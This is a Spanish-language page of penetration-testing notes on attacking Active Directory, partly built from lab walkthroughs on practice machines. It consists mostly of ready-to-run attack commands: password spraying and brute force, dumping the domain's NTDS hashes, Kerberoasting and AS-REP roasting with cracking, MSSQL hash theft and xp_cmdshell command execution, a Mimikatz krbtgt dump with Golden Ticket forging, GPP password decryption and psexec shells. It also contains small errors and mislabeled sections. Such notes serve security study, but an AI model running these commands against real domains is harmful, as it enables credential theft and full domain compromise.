Active Directory

Que nos encontramos en ese segmento de red.
crackmapexec smb IP # o poner segmento 192.168.4.128-132
Si no pide firma podemos hacer NTL relay. En el dominio principal por defecto está firmado.
Realizar escaneo de NMAP completo.
Puerto 53: DNS
Puerto 88: Kerberos
Puerto 389: LDAP
Puerto 445: SMB
Escaneo NMAP para ver el dominio.
nmap -n -P0 -p 53,88,389,445 --script smb-os-discovery.nse IP
Reconocimiento
Nos creamos un listado de usuarios con los que nos salen.
crackmapexec smb IP(AD) -u usuarios.txt -p diccionario.txt --continue-on-success
Para cuando sea solo a un ordenador y no al dominio principal.
crackmapexec smb IP -u usuarios.txt -p diccionario.txt --local-auth
Si pone Pwned! es que tiene altos privilegios.
crackmapexec smb IP -u usuario -p '1234' --continue-on-success
crackmapexec smb IP -u usuario -p '1234' --pass-pol #política de contraseñas
crackmapexec smb IP -u usuario -p '1234' --users
Dumpear la base de datos del dominio.
crackmapexec smb IP(AD) -u usuario -p '1234' --ntds
La estructura de la respuesta es -> Usuario:ID:LM HASH:NTHASH
Si pone 404ee en el LM está deshabilitado.
Rompemos las contraseñas creando un diccionario con NTHASH.
Contraseñas previas que se han configurado.
impacket-secretsdump -just-dc usuario:password@IP -history -pwd-last-secret
No se necesita ser administrador de dominio para realizar un ataque de Keberoasting.
impacket-GetUserSPNs -dc-ip IP(AD) dominio.com/usuario:'1234' -request
Cogemos la contraseña para crackear.
hashcat -m 13100(número depende) --force -a 0 hash diccionario.txt
john --format=krb5tgs --wordlist=diccionario.txt hash
Lo probamos.
crackmapexec smb IP(AD) -u SVC_SQLService -p '1234'
AS -REP Roasting Attack
Solo requiere listado de usuarios.
impacket-GetNPUsers -dc-ip IP(AD) dominio.com/ -no-pass -userfile users.txt -outfile salida.txt
Para crackear la contraseña.
hashcat --help | grep AS_REP --> 18200
Para ver si corre base de datos
nmap -n -P0 -p 1433 -sV --open -vv IP(AD)
Obtener credenciales.
crackmapexec mssql IP(AD) -u usuarios.txt -p diccionario.txt --local-auth --continue-on-success
msfconsole -q
use auxiliary/admin/mssql/mssql_sql
set RHOST IP(AD)
set PASSWORD
set SQL select password.hash from sys.sql_logins
#caracteristicas de la base de datos
use auxiliary/admin/mssql/mssql_enum
MSSQL--> Content Header:Salt:Hash
Para romper hashes de contraseñas de SQL Server, puedes usar herramientas como hashcat
o john
:
# Con hashcat (modo 1731 para MSSQL 2012+)
hashcat -m 1731 --force -a 0 hash.mssql diccionario.txt
# Con John the Ripper
john --format=mssql12 --wordlist=diccionario.txt hash.mssql
Nota: El modo 1731 corresponde a hashes de SQL Server 2012 en adelante (
mssql12
en John).
El procedimiento extendido xp_cmdshell
permite ejecutar comandos del sistema operativo directamente desde SQL Server. Esto puede facilitar la escalada de privilegios o la persistencia.
-- Permite ejecutar comandos del sistema desde MSSQL
EXEC xp_cmdshell 'whoami';
Para automatizar esto con Metasploit:
use auxiliary/admin/mssql/mssql_exec
Precaución:
xp_cmdshell
suele estar deshabilitado por defecto. Se requiere acceso privilegiado para activarlo.
Golden Ticket
El ataque de Golden Ticket es una técnica avanzada que explota el funcionamiento interno del protocolo Kerberos en entornos de Active Directory. En esencia, este ataque permite a un atacante generar tickets de autenticación válidos sin necesidad de pasar por el proceso normal de autenticación del dominio. Esto se logra obteniendo el hash de la cuenta krbtgt
, una cuenta especial utilizada por el controlador de dominio para firmar los Ticket Granting Tickets (TGTs). Una vez que el atacante tiene este hash, puede usar herramientas como Mimikatz para generar un TGT falso —el llamado "Golden Ticket"— que puede incluir cualquier identidad y privilegios deseados, incluso acceso como administrador del dominio.
Este ticket falsificado puede inyectarse en una sesión activa (por ejemplo, en una máquina como WIN10-PC2), y a partir de ahí, el atacante puede autenticarse ante el controlador de dominio como si fuera un usuario legítimo. Esto le permite acceder a otros recursos del dominio, como servidores de archivos (ej. FILESERVER), estaciones de trabajo, o incluso a los propios controladores de dominio, sin necesidad de credenciales reales. Además, como el atacante puede establecer el tiempo de validez del ticket, este acceso puede mantenerse durante largos periodos sin ser detectado.
El ataque Golden Ticket es particularmente grave porque incluso si las contraseñas de los usuarios comprometidos se cambian, el acceso persistente se mantiene hasta que el hash de krbtgt
sea rotado dos veces, lo cual es un proceso sensible y que requiere cuidado. Por esto, es considerado una técnica de post-explotación crítica y de alta peligrosidad en escenarios de compromiso total del dominio.

El "Golden Ticket" permite crear tickets TGT falsificados usando la clave de servicio de krbtgt
, lo que otorga acceso completo al dominio.
Para esto necesitas:
El hash de la cuenta
krbtgt
El nombre del dominio
El SID del dominio
Ejemplo con impacket-psexec
:
impacket-psexec enterprise.com/Administrator:'Password'@IP(AD)
Este acceso es útil para moverse lateralmente dentro del dominio una vez generado un TGT válido.
Mimikatz.exe
Con Mimikatz puedes extraer y manipular secretos del sistema, como el hash de la cuenta krbtgt
necesario para generar Golden Tickets:
lsadump::lsa /inject /name:krbtgt
Este comando requiere privilegios de SYSTEM. Una vez obtenido el hash, puede utilizarse para falsificar tickets TGT con herramientas como
ticketer.py
de Impacket.
Obtenemos el ID y NTLM y creamos el ticket.
kerberos::golden /domain:enterprise.com /sid:ID /rc4:NTLM /user:Administrator /ticket:ticket
Active directory basics (THM)
Accedemos.
xfreerdp /u:Administrator /p:Password321 /v:10.10.224.147:3389
Enumerar recursos compartidos.
smbmap -H 10.10.224.147 -u 'Administrator' -p 'Password321'
Enumerar recursos compartidos.
netexec smb 10.10.224.147 -u 'Administrator' -p 'Password321' --shares
Enumerar usuarios y servidores.
netexec smb 10.10.224.147 -u 'Administrator' -p 'Password321' --rid-brute
Cambiamos contraseña de sophie.
Set-ADAccountPassword sophie -Reset -NewPassword (Read-Host -AsSecureString -Prompt 'New Password')
También se puede cambiar de esta manera.
bloodyAD --host '10.10.224.147' -u 'philip' -p 'Claire2008' set password sophie 'Bea123'
Entrar en Group Policy Management.

Kerberoasting
Windows solía permitir almacenar contraseñas en texto cifrado (pero fácilmente descifrable) en archivos XML dentro de políticas de grupo (GPP) en controladores de dominio. Aunque esta práctica fue desaconsejada desde hace tiempo, aún se encuentran entornos vulnerables.
Utiliza la herramienta smbmap
para conectarse al recurso compartido SMB del host con IP 10.10.10.100. A través del argumento --download
se solicita la descarga del archivo Groups.xml
ubicado en el directorio Policies
, específicamente dentro de la ruta correspondiente a una política de grupo activa. Este archivo es relevante porque dentro de los controladores de dominio, las GPO pueden contener credenciales administrativas mal configuradas, particularmente dentro del directorio SYSVOL, el cual suele estar accesible para cualquier usuario del dominio, lo que representa una seria vulnerabilidad si se almacenan contraseñas en él.
smbmap -H 10.10.10.100 --download Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml
Mostrar el contenido completo del archivo XML descargado.
cat 10.10.10.100-Replication_active.htb_Policies_{31B2F340-016D-11D2-945F-00C04FB984F9}_MACHINE_Preferences_Groups_Groups.xml
Desciframos.
gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/Ng1VmQ'
Si tenemos un usuario con su contraseña dentro de un dominio vemos si es vulnerable. Antes de eso sincronizamos.
ntpdate 10.10.10.100 (IP máquina víctima)
Intento obtener el Ticket Granting Service.
impacket-GetUserSPNs active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request
Crackeamos.
john --wordlist=rockyou.txt hash.txt
Teniendo la contraseña deshasheada.
crackmapexec smb 10.10.10.100 -u 'Administrator' -p 'Ticketmaster1968'
Ahora conseguir una shell.
impacket-psexec active.htb/Administrator:Ticketmaster1968@10.10.10.100 cmd.exe
Kerbrute
Poner /etc/hosts
.
IP nombre_dominio nombre_PC nombre_PC.nombre_dominio
Al instalar le damos permisos de ejecución. Vemos usuarios posibles.
./kerbrute_linux_amd64 userenum -d cicada.htb --dc 10.10.11.71 /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
Hacemos password-spraying.
./kerbrute_linux_amd64 userenum -d cicada.htb --dc 10.10.11.35 /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
Ahora fuerza bruta de contraseñas.
./kerbrute_linux_amd64 bruteuser -d cicada.htb --dc 10.10.11.35 pass.txt emily.oscars
Last updated
Was this helpful?